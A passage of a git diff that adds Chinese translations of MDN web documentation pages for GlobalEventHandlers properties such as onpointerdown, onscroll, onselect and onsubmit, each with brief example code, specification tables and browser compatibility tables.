{{SpecName('HTML WHATWG','#handler-onplaying','onplaying')}}{{Spec2('HTML WHATWG')}}
+ +

 浏览器兼容性

+ + + +

{{Compat("api.GlobalEventHandlers.onplaying")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/onpointercancel/index.html b/files/zh-cn/web/api/globaleventhandlers/onpointercancel/index.html new file mode 100644 index 0000000000..26f5ead6dc --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onpointercancel/index.html @@ -0,0 +1,129 @@ +--- +title: GlobalEventHandlers.onpointercancel +slug: Web/API/GlobalEventHandlers/onpointercancel +translation_of: Web/API/GlobalEventHandlers/onpointercancel +--- +
{{ApiRef("HTML DOM")}}
+ +

A {{domxref("GlobalEventHandlers","global event handler")}} for the {{event("pointercancel")}} event.

+ +

语法

+ +
var cancelHandler = targetElement.onpointercancel;
+
+ +

返回值

+ +
+
cancelHandler
+
元素targetElementpointercancel 事件处理器。
+
+ +

示例

+ +

该示例展示使用 onpointercancel 设置一个元素的 pointercancel 事件处理器的两个方法。

+ +
<html>
+<script>
+function cancelHandler(ev) {
+ // 处理 pointercancel 事件
+}
+function init() {
+ var el=document.getElementById("target1");
+ el.onpointercancel = cancelHandler;
+}
+</script>
+<body onload="init();">
+<div id="target1"> Touch me ... </div>
+<div id="target2" onpointercancel="cancelHandler(event)"> Touch me ... </div>
+</body>
+</html>
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('Pointer Events 2','#widl-GlobalEventHandlers-onpointercancel', 'onpointercancel')}}{{Spec2('Pointer Events 2')}}Non-stable 版本
{{SpecName('Pointer Events', '#widl-GlobalEventHandlers-onpointercancel', 'onpointercancel')}}{{Spec2('Pointer Events')}}初始定义
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
特性ChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
支持基础{{CompatChrome(55.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatIE("10")}}{{CompatOpera(42)}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
特性AndroidAndroid WebviewEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
支持基础{{CompatNo}}{{CompatChrome(55.0)}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatIE("10")}}{{CompatOperaMobile(42)}}{{CompatNo}}{{CompatChrome(55.0)}}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/onpointerdown/index.html b/files/zh-cn/web/api/globaleventhandlers/onpointerdown/index.html new file mode 100644 index 0000000000..c538841be5 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onpointerdown/index.html @@ -0,0 +1,131 @@ +--- +title: GlobalEventHandlers.onpointerdown +slug: Web/API/GlobalEventHandlers/onpointerdown +translation_of: Web/API/GlobalEventHandlers/onpointerdown +--- +
{{ApiRef("HTML DOM")}}
+ +

 {{event("pointerdown")}} 事件的 {{domxref("GlobalEventHandlers","全局事件处理程序")}} 

+ +

语法

+ +
var downHandler = targetElement.onpointerdown;
+
+ +

返回值

+ +
+
downHandler
+
pointerdown 事件触发对象的事件处理程序.
+
+ +

示例

+ +

当前示例展示两种方式使用 onpointerdown 去设置元素的pointerdown事件处理程序.

+ +
<html>
+<script>
+function downHandler(ev) {
+ // Process the pointerdown event
+}
+function init() {
+ var el=document.getElementById("target1");
+ el.onpointerdown = downHandler;
+}
+</script>
+<body onload="init();">
+<div id="target1"> Touch me ... </div>
+<div id="target2" onpointerdown="downHandler(event)"> Touch me ... </div>
+</body>
+</html>
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Pointer Events 2','#widl-GlobalEventHandlers-onpointerdown', 'onpointerdown')}}{{Spec2('Pointer Events 2')}}Non-stable version
{{SpecName('Pointer Events', '#widl-GlobalEventHandlers-onpointerdown', 'onpointerdown')}}{{Spec2('Pointer Events')}}Initial definition
+ +

浏览器支持

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(55.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatIE("10")}}{{CompatOpera(42)}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(55.0)}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatIE("10")}}{{CompatOperaMobile(42)}}{{CompatNo}}{{CompatChrome(55.0)}}
+
+ +

 

+ +

参阅

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/onpointerenter/index.html b/files/zh-cn/web/api/globaleventhandlers/onpointerenter/index.html new file mode 100644 index 0000000000..7f0422197b --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onpointerenter/index.html @@ -0,0 +1,127 @@ +--- +title: GlobalEventHandlers.onpointerenter +slug: Web/API/GlobalEventHandlers/onpointerenter +translation_of: Web/API/GlobalEventHandlers/onpointerenter +--- +
HTML DOM
+ +
pointerenter事件的GlobalEventHandlers(全局事件处理函数)
+ +

 

+ +
var enterHandler = targetElement.onpointerenter;
+
+ +

返回值

+ +
+
enterHandler
+
+ +

      targetElement的pointerenter事件处理函数。

+ +

例子

+ +

这个例子展示了使用onpointerenter来设置元素pointerenter事件处理函数的两种方式

+ +
<html>
+<script>
+function enterHandler(ev) {
+ // 处理pointerenter 事件
+}
+function init() {
+ var el=document.getElementById("target1");
+ el.onpointerenter = enterHandler;
+}
+</script>
+<body onload="init();">
+<div id="target1"> 点我 ... </div>
+<div id="target2" onpointerenter="enterHandler(event)"> 点我 ... </div>
+</body>
+</html>
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Pointer Events 2','#widl-GlobalEventHandlers-onpointerenter', 'onpointerenter')}}{{Spec2('Pointer Events 2')}}Non-stable version
{{SpecName('Pointer Events', '#widl-GlobalEventHandlers-onpointerenter', 'onpointerenter')}}{{Spec2('Pointer Events')}}Initial definition
+ +

浏览器兼容性

+ +

兼容性表

+ +
+ + + + + + + + + + + + + + + + + + + +
特点ChromeFirefox (Gecko)Internet ExplorerOperaSafari
基本支持CompatChrome("35")支持[1]GeckoDesktop(59)支持支持需-ms前缀 
+ 11支持
支持程度未知不支持
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基本支持支持程度未知Chrome("35")支持[1]GeckoMobile("29")支持[2]10支持需-ms前缀 支持程度未知不支持
+
+ +

[1] 这是在bug 248918中实现。

+ +

[2] 依赖于dom.w3c_pointer_events.enabled属性, 默认值为 false

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/onpointerleave/index.html b/files/zh-cn/web/api/globaleventhandlers/onpointerleave/index.html new file mode 100644 index 0000000000..38e47c7b19 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onpointerleave/index.html @@ -0,0 +1,80 @@ +--- +title: GlobalEventHandlers.onpointerleave +slug: Web/API/GlobalEventHandlers/onpointerleave +translation_of: Web/API/GlobalEventHandlers/onpointerleave +--- +
{{APIRef("HTML DOM")}}
+ +

就像在{{domxref("Element")}}或{{domxref("Window")}}中点击类似,在某目标区域内,发生触点(鼠标指针,触摸等)行为时会触发源于{{event("pointerleave")}}事件{{domxref("GlobalEventHandlers","global event handler", "", 1)}}行为。 这个事件本身属于 Pointer Events API 的一部分。

+ +

语法

+ +
var leaveHandler = EventTarget.onpointerleave;
+
+EventTarget.onpointerleave = leaveHandler;
+ +

返回值

+ +
+
leaveHandler
+
{{event("pointerleave")}} 事件会执行{{domxref("EventListener")}} 监听器会委托执行用以发送给目标。
+
+ +

样例

+ +

这个样例展示了两种使用 onpointerleave 来设置元素 pointerleave 事件处理器的方式。

+ +
<html>
+<script>
+function leaveHandler(ev) {
+ // 执行 pointerleave event 事件
+}
+function init() {
+ var el=document.getElementById("target1");
+ el.onpointerleave = leaveHandler;
+}
+</script>
+<body onload="init();">
+<div id="target1"> Touch me ... </div>
+<div id="target2" onpointerleave="leaveHandler(event)"> Touch me ... </div>
+</body>
+</html>
+
+ +

查看 Using Pointer Events 以了解更多详情。

+ +

规格

+ + + + + + + + + + + + + + + + + + + +
名称状态备注
{{SpecName('Pointer Events 2','#widl-GlobalEventHandlers-onpointerleave', 'onpointerleave')}}{{Spec2('Pointer Events 2')}}Non-stable version
{{SpecName('Pointer Events', '#widl-GlobalEventHandlers-onpointerleave', 'onpointerleave')}}{{Spec2('Pointer Events')}}Initial definition
+ +

浏览器支持情况

+ + + +

{{Compat("api.GlobalEventHandlers.onpointerleave")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/onpointermove/index.html b/files/zh-cn/web/api/globaleventhandlers/onpointermove/index.html new file mode 100644 index 0000000000..3407af3671 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onpointermove/index.html @@ -0,0 +1,134 @@ +--- +title: GlobalEventHandlers.onpointermove +slug: Web/API/GlobalEventHandlers/onpointermove +tags: + - API + - GlobalEventHandlers + - HTML DOM + - PointerEvent + - Property + - Reference +translation_of: Web/API/GlobalEventHandlers/onpointermove +--- +
{{ApiRef("HTML DOM")}}
+ +

一个{{domxref("GlobalEventHandlers","global event handler")}}(全局事件) {{event("pointermove")}} 事件.

+ +

语法

+ +
var moveHandler = targetElement.onpointermove;
+
+ +

返回值

+ +
+
moveHandler
+
返回 targetElement 元素的pointermove事件处理函数.
+
+ +

示例

+ +

下面展示了两种设置元素pointermove事件处理函数的方法.

+ +
<html>
+<script>
+function moveHandler(ev) {
+ // 此处添加事件处理语句
+}
+function init() {
+ var el=document.getElementById("target1");
+ el.onpointermove = moveHandler;
+}
+</script>
+<body onload="init();">
+<div id="target1"> Touch me ... </div>
+<div id="target2" onpointermove="moveHandler(event)"> Touch me ... </div>
+</body>
+</html>
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Pointer Events 2','#widl-GlobalEventHandlers-onpointermove', 'onpointermove')}}{{Spec2('Pointer Events 2')}}Non-stable version
{{SpecName('Pointer Events', '#widl-GlobalEventHandlers-onpointermove', 'onpointermove')}}{{Spec2('Pointer Events')}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome("35")}}[1]{{CompatGeckoDesktop(59)}}10 {{property_prefix("-ms")}}
+ 11
{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatChrome("35")}}[1]{{CompatGeckoMobile("29")}}[2]10 {{property_prefix("-ms")}}
+ 11
{{CompatUnknown}}{{CompatNo}}
+
+ +

[1] This was implemented in bug 248918.

+ +

[2] Supported behind the preference dom.w3c_pointer_events.enabled, defaulting to false.

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/onpointerout/index.html b/files/zh-cn/web/api/globaleventhandlers/onpointerout/index.html new file mode 100644 index 0000000000..e702faa2a7 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onpointerout/index.html @@ -0,0 +1,79 @@ +--- +title: GlobalEventHandlers.onpointerout +slug: Web/API/GlobalEventHandlers/onpointerout +translation_of: Web/API/GlobalEventHandlers/onpointerout +--- +
{{ApiRef("HTML DOM")}}
+ +

一个{{domxref("GlobalEventHandlers","global event handler")}} 用于处理 {{event("pointerout")}} 事件。

+ +

语法

+ +
var outHandler = targetElement.onpointerout;
+
+ +

返回值

+ +
+
outHandler
+
元素targetElement的指针输出事件处理程序。
+
+ +

例子

+ +

这个例子展示了两种方式来使用onpointerout设置元素的pointerout事件处理程序。

+ +
<html>
+<script>
+function outHandler(ev) {
+ // Process the pointerout event
+}
+function init() {
+ var el=document.getElementById("target1");
+ el.onpointerout = outHandler;
+}
+</script>
+<body onload="init();">
+<div id="target1"> Touch me ... </div>
+<div id="target2" onpointerout="outHandler(event)"> Touch me ... </div>
+</body>
+</html>
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Pointer Events 2','#widl-GlobalEventHandlers-onpointerout', 'onpointerout')}}{{Spec2('Pointer Events 2')}}Non-stable version
{{SpecName('Pointer Events', '#widl-GlobalEventHandlers-onpointerout', 'onpointerout')}}{{Spec2('Pointer Events')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.GlobalEventHandlers.onpointerout")}}

+ +

相关链接

+ + + +

+ +

diff --git a/files/zh-cn/web/api/globaleventhandlers/onpointerover/index.html b/files/zh-cn/web/api/globaleventhandlers/onpointerover/index.html new file mode 100644 index 0000000000..01d291f94d --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onpointerover/index.html @@ -0,0 +1,82 @@ +--- +title: 全局事件处理器.onpointerover +slug: Web/API/GlobalEventHandlers/onpointerover +tags: + - HTML DOM + - 全局事件处理器 + - 属性 + - 引用 + - 指针事件 + - 文档 +translation_of: Web/API/GlobalEventHandlers/onpointerover +--- +
{{ApiRef("HTML DOM")}}
+ +

A {{domxref("GlobalEventHandlers","global event handler")}} for the {{event("pointerover")}} event.

+ +

语法

+ +
var overHandler = targetElement.onpointerover;
+
+ +

返回值

+ +
+
overHandler
+
 pointerover 事件处理器返回目标元素的overHandler.
+
+ +

案例

+ +

这里使用两种方式展示了如何去使用 onpointerover 去设置一个元素的 pointerover 事件处理器

+ +
<html>
+<script>
+function overHandler(ev) {
+ // Process the pointerover event
+}
+function init() {
+ var el=document.getElementById("target1");
+ el.onpointerover = overHandler;
+}
+</script>
+<body onload="init();">
+<div id="target1"> Touch me ... </div>
+<div id="target2" onpointerover="overHandler(event)"> Touch me ... </div>
+</body>
+</html>
+
+ +

说明

+ + + + + + + + + + + + + + + + + + + +
说明状态备注
{{SpecName('Pointer Events 2','#widl-GlobalEventHandlers-onpointerover', 'onpointerover')}}{{Spec2('Pointer Events 2')}}不稳定版本
{{SpecName('Pointer Events', '#widl-GlobalEventHandlers-onpointerover', 'onpointerover')}}{{Spec2('Pointer Events')}}初始定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.GlobalEventHandlers.onpointerover")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/onpointerup/index.html b/files/zh-cn/web/api/globaleventhandlers/onpointerup/index.html new file mode 100644 index 0000000000..c529bc8232 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onpointerup/index.html @@ -0,0 +1,127 @@ +--- +title: GlobalEventHandlers.onpointerup +slug: Web/API/GlobalEventHandlers/onpointerup +translation_of: Web/API/GlobalEventHandlers/onpointerup +--- +
{{ApiRef("HTML DOM")}}
+ +

pointerup是一个全局的事件处理函数.

+ +

语法

+ +
var upHandler = targetElement.onpointerup;
+
+ +

返回值

+ +
+
upHandler
+
返回 targetElement 元素的pointerup事件处理函数.
+
+ +

示例

+ +

如下是两种设置元素pointerup事件处理函数的方法.

+ +
<html>
+<script>
+function upHandler(ev) {
+ // 这里添加元素的pointup事件处理函数
+}
+function init() {
+ var el=document.getElementById("target1");
+ el.onpointerup = upHandler;
+}
+</script>
+<body onload="init();">
+<div id="target1"> Touch me ... </div>
+<div id="target2" onpointerup="upHandler(event)"> Touch me ... </div>
+</body>
+</html>
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Pointer Events 2','#widl-GlobalEventHandlers-onpointerup', 'onpointerup')}}{{Spec2('Pointer Events 2')}}Non-stable version
{{SpecName('Pointer Events', '#widl-GlobalEventHandlers-onpointerup', 'onpointerup')}}{{Spec2('Pointer Events')}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome("35")}}[1]{{CompatGeckoDesktop(59)}}10 {{property_prefix("-ms")}}
+ 11
{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatChrome("35")}}[1]{{CompatGeckoMobile("29")}}[2]10 {{property_prefix("-ms")}}
+ 11
{{CompatUnknown}}{{CompatNo}}
+
+ +

[1] This was implemented in bug 248918.

+ +

[2] Supported behind the preference dom.w3c_pointer_events.enabled, defaulting to false.

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/onreset/index.html b/files/zh-cn/web/api/globaleventhandlers/onreset/index.html new file mode 100644 index 0000000000..7f43a32d5a --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onreset/index.html @@ -0,0 +1,63 @@ +--- +title: GlobalEventHandlers.onreset +slug: Web/API/GlobalEventHandlers/onreset +translation_of: Web/API/GlobalEventHandlers/onreset +--- +

{{ ApiRef() }}

+ +

The GlobalEventHandlers.onreset 属性包含 {{domxref("EventHandler")}} ,当收到一个{{event("reset")}} 事件时触发

+ +

语法

+ +
window.onreset = funcRef;
+
+ +

参数

+ + + +

例子

+ +
<html>
+<script>
+function reg() {
+  window.captureEvents(Event.RESET);
+  window.onreset = hit;
+}
+
+function hit() {
+ alert('hit');
+}
+</script>
+
+<body onload="reg();">
+ <form>
+   <input type="reset" value="reset" />
+ </form>
+ <div id="d"> </div>
+</body>
+</html>
+
+ +

备注

+ +

reset 事件只有在用户点击表单中的reset按钮时才会被触发 (<input type="reset"/>).

+ +

规范

+ + + + + + + + + + + + + + +
规范状态评论
{{SpecName('HTML WHATWG','webappapis.html#handler-onreset','onreset')}}{{Spec2('HTML WHATWG')}} 
diff --git a/files/zh-cn/web/api/globaleventhandlers/onresize/index.html b/files/zh-cn/web/api/globaleventhandlers/onresize/index.html new file mode 100644 index 0000000000..4afad82e58 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onresize/index.html @@ -0,0 +1,71 @@ +--- +title: window.onresize +slug: Web/API/GlobalEventHandlers/onresize +translation_of: Web/API/GlobalEventHandlers/onresize +--- +

{{ ApiRef() }}

+ +

概述

+ +

onresize属性可以用来获取或设置当前窗口的resize事件的事件处理函数

+ +

语法

+ +
window.onresize = funcRef;
+
+ +

参数

+ + + +

例子

+ +
window.onresize = doFunc;
+
+ +
<html>
+<head>
+
+<title>onresize测试</title>
+
+<script type="text/javascript">
+
+window.onresize = resize;
+
+function resize()
+{
+ alert("检测到resize事件!");
+}
+</script>
+</head>
+
+<body>
+<p>改变浏览器窗口的大小来触发resize事件.</p>
+</body>
+</html>
+
+ +

备注

+ +

在窗口大小改变之后,就会触发resize事件.

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','webappapis.html#handler-onresize','onresize')}}{{Spec2('HTML WHATWG')}} 
+ +

{{ languages( {"en": "en/DOM/window.onresize" } ) }}

diff --git a/files/zh-cn/web/api/globaleventhandlers/onscroll/index.html b/files/zh-cn/web/api/globaleventhandlers/onscroll/index.html new file mode 100644 index 0000000000..83038201e3 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onscroll/index.html @@ -0,0 +1,126 @@ +--- +title: GlobalEventHandlers.onscroll +slug: Web/API/GlobalEventHandlers/onscroll +tags: + - API + - HTML DOM + - 属性 +translation_of: Web/API/GlobalEventHandlers/onscroll +--- +
{{ ApiRef("HTML DOM") }}
+ +

元素的 scroll 事件处理函数。

+ +

语法

+ +
element.onscroll = functionReference
+ +

参数

+ +

functionReference 是一个函数的引用。当该元素滚动时,会执行该函数。

+ +
+

注意:不要将onscroll 与 {{domxref("GlobalEventHandlers.onwheel", "onwheel")}}混淆。onwheel鼠标滚轮旋转, 而onscroll 处理的是对象内部内容区的滚动事件。

+
+ +

 

+ +

示例

+ +
<!DOCTYPE html>
+<html lang="en">
+  <head>
+  <meta charset="UTF-8" />
+  <style>
+  #container {
+    position: absolute;
+    height: auto;
+    top: 0;
+    bottom: 0;
+    width: auto;
+    left: 0;
+    right: 0;
+    overflow: auto;
+  }
+
+  #foo {
+    height:1000px;
+    width:1000px;
+    background-color: #777;
+    display: block;
+  }
+
+  </style>
+  </head>
+  <body>
+    <div id="container">
+      <div id="foo"></div>
+    </div>
+
+    <script type="text/javascript">
+      document.getElementById('container').onscroll = function() {
+        console.log("scrolling");
+      };
+    </script>
+  </body>
+</html>
+
+ +

{{ EmbedLiveSample('示例') }}

+ +

Example

+ +

这个示例能说明更多问题

+ +

This example monitors scrolling on a {{HtmlElement("textarea")}}, and logs the element's vertical scroll position accordingly.

+ +

HTML

+ +
<textarea>1 2 3 4 5 6 7 8 9</textarea>
+<p id="log"></p>
+ +

CSS

+ +
textarea {
+  width: 4rem;
+  height: 8rem;
+  font-size: 3rem;
+}
+ +

JavaScript

+ +
const textarea = document.querySelector('textarea');
+const log = document.getElementById('log');
+
+textarea.onscroll = logScroll;
+
+function logScroll(e) {
+  log.textContent = `Scroll position: ${e.target.scrollTop}`;
+}
+ +

Result

+ +

{{EmbedLiveSample("Example", 700, 200)}}

+

注意

+ +

当用户滚动某个元素的内容时 scroll 事件将会被触发。Element.onscroll 同等于 element.addEventListener("scroll" ... )。

+

规范

+ + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM3 Events", "#event-type-scroll", "onscroll")}}{{Spec2("DOM3 Events")}}Initial definition
diff --git a/files/zh-cn/web/api/globaleventhandlers/onselect/index.html b/files/zh-cn/web/api/globaleventhandlers/onselect/index.html new file mode 100644 index 0000000000..cba79e9a8f --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onselect/index.html @@ -0,0 +1,59 @@ +--- +title: GlobalEventHandlers.onselect +slug: Web/API/GlobalEventHandlers/onselect +translation_of: Web/API/GlobalEventHandlers/onselect +--- +

{{ ApiRef() }}

+ +

概述

+ +

onselect用来获取或设置当前窗口的select事件的事件处理函数

+ +

语法

+ +
window.onselect = funcRef;
+
+ + + +

例子

+ +
<html>
+<head>
+
+<title>onselect test</title>
+
+<style type="text/css">
+.text1 { border: 2px solid red; }
+</style>
+
+<script type="text/javascript">
+
+window.onselect = selectText;
+
+function selectText()
+{
+ alert("检测到select事件!");
+}
+</script>
+</head>
+
+<body>
+<textarea class="text1" cols="30" rows="3">
+用鼠标高亮选择一些文本,来触发select事件
+</textarea>
+</body>
+</html>
+
+ +

备注

+ +

只有在文本框和文本域内选择文本才会触发select事件.

+ +

规范

+ +

不属于任何公开规范.

+ +

{{ languages( {"en": "en/DOM/window.onselect" } ) }}

diff --git a/files/zh-cn/web/api/globaleventhandlers/onselectionchange/index.html b/files/zh-cn/web/api/globaleventhandlers/onselectionchange/index.html new file mode 100644 index 0000000000..845410cb97 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onselectionchange/index.html @@ -0,0 +1,104 @@ +--- +title: GlobalEventHandlers.onselectionchange +slug: Web/API/GlobalEventHandlers/onselectionchange +translation_of: Web/API/GlobalEventHandlers/onselectionchange +--- +
{{ApiRef('DOM')}}{{SeeCompatTable}}
+ +

GlobalEventHandlers.onselectionchange  属性表示当一个 {{event("selectstart")}} 事件被触发,比如在页面上选中文字变化时,会执行绑定的事件处理器

+ +

Syntax

+ +
obj.onselectionchange = function;
+
+ +

Example

+ +
var selection;
+
+document.onselectionchange = function() {
+  console.log('New selection made');
+  selection = document.getSelection();
+};
+ +

完整例子请参阅Key quote generator demo.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Selection API','#dom-globaleventhandlers-onselectionchange','GlobalEventHandlers.onselectionchange')}}{{Spec2('Selection API')}}Initial definition.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatGeckoDesktop(43)}}[1]
+ {{CompatGeckoDesktop(52)}}[2]
{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}1.3
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
onselectionchange{{CompatGeckoMobile(43)}}[1]
+ {{CompatGeckoMobile(52)}}[2]
{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] This is implemented behind the dom.select_events.enabled preference, which defaults to false except on Nightly.

+ +

[2] This is now fully enabled on Firefox 52 release version.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/onselectstart/index.html b/files/zh-cn/web/api/globaleventhandlers/onselectstart/index.html new file mode 100644 index 0000000000..370aea1346 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onselectstart/index.html @@ -0,0 +1,104 @@ +--- +title: GlobalEventHandlers.onselectstart +slug: Web/API/GlobalEventHandlers/onselectstart +translation_of: Web/API/GlobalEventHandlers/onselectstart +--- +
{{ApiRef('DOM')}}{{SeeCompatTable}}
+ +

GlobalEventHandlers.onselectstart 表示 {{event("selectstart")}} 事件绑定的事件处理器,比如用户在网页上开始选择任意文本内容时触发。

+ +

译者注:在输入控件中选择文本时,触发的是控件绑定的 {{event("select")}} 事件。

+ +

Syntax

+ +
obj.onselectstart = function;
+
+ +

Example

+ +
document.onselectstart = function() {
+  console.log("Selection started!");
+};
+
+ +

详细用法参见 Key quote generator 示例。

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Selection API','#dom-globaleventhandlers-onselectstart','GlobalEventHandlers.onselectstart')}}{{Spec2('Selection API')}}Initial definition.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatGeckoDesktop(43)}}[1]
+ {{CompatGeckoDesktop(52)}}[2]
{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}1.3
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
onselectionchange{{CompatGeckoMobile(43)}}[1]
+ {{CompatGeckoMobile(52)}}[2]
{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] This is implemented behind the dom.select_events.enabled preference, which defaults to false except on Nightly.

+ +

[2] This is now fully enabled on Firefox 52 release version.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/onsubmit/index.html b/files/zh-cn/web/api/globaleventhandlers/onsubmit/index.html new file mode 100644 index 0000000000..1909ba0ef9 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onsubmit/index.html @@ -0,0 +1,101 @@ +--- +title: GlobalEventHandlers.onsubmit +slug: Web/API/GlobalEventHandlers/onsubmit +tags: + - API + - DOM + - Event + - Event Handler + - HTML + - 事件 + - 事件接收器 + - 属性 +translation_of: Web/API/GlobalEventHandlers/onsubmit +--- +
{{ ApiRef("HTML DOM") }}
+ +

{{domxref("GlobalEventHandlers")}} 的 onsubmit 属性是一个处理 {{event("submit")}} 的 {{domxref("EventHandler")}}。

+ +

submit 事件会在用户点击提交按钮(<input type="submit"/> 元素)提交表单时触发。

+ +

语法

+ +
target.onsubmit = functionRef;
+ +

参数

+ +

functionRef 是一个函数名或 函数表达式。The function receives a {{domxref("FocusEvent")}} object as its sole argument.

+ + +

例子

+ +

This example demonstrates {{domxref("GlobalEventHandlers.oninvalid", "oninvalid")}} and onsubmit event handlers on a form.

+ +

HTML

+ +
<form id="form">
+  <p id="error" hidden>Please fill out all fields.</p>
+
+  <label for="city">City</label>
+  <input type="text" id="city" required>
+
+  <button type="submit">Submit</button>
+</form>
+<p id="thanks" hidden>Your data has been received. Thanks!</p>
+ +

JavaScript

+ +
const form = document.getElementById('form');
+const error = document.getElementById('error');
+const city = document.getElementById('city');
+const thanks = document.getElementById('thanks');
+
+city.oninvalid = invalid;
+form.onsubmit = submit;
+
+function invalid(event) {
+  error.removeAttribute('hidden');
+}
+
+function submit(event) {
+  form.setAttribute('hidden', '');
+  thanks.removeAttribute('hidden');
+
+  // For this example, don't actually submit the form
+  event.preventDefault();
+}
+ +

Result

+ +

{{EmbedLiveSample("Example")}}

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG','webappapis.html#handler-onsubmit','onsubmit')}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.GlobalEventHandlers.onsubmit")}}

+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/ontouchcancel/index.html b/files/zh-cn/web/api/globaleventhandlers/ontouchcancel/index.html new file mode 100644 index 0000000000..faba488dc4 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/ontouchcancel/index.html @@ -0,0 +1,126 @@ +--- +title: GlobalEventHandlers.ontouchcancel +slug: Web/API/GlobalEventHandlers/ontouchcancel +translation_of: Web/API/GlobalEventHandlers/ontouchcancel +--- +
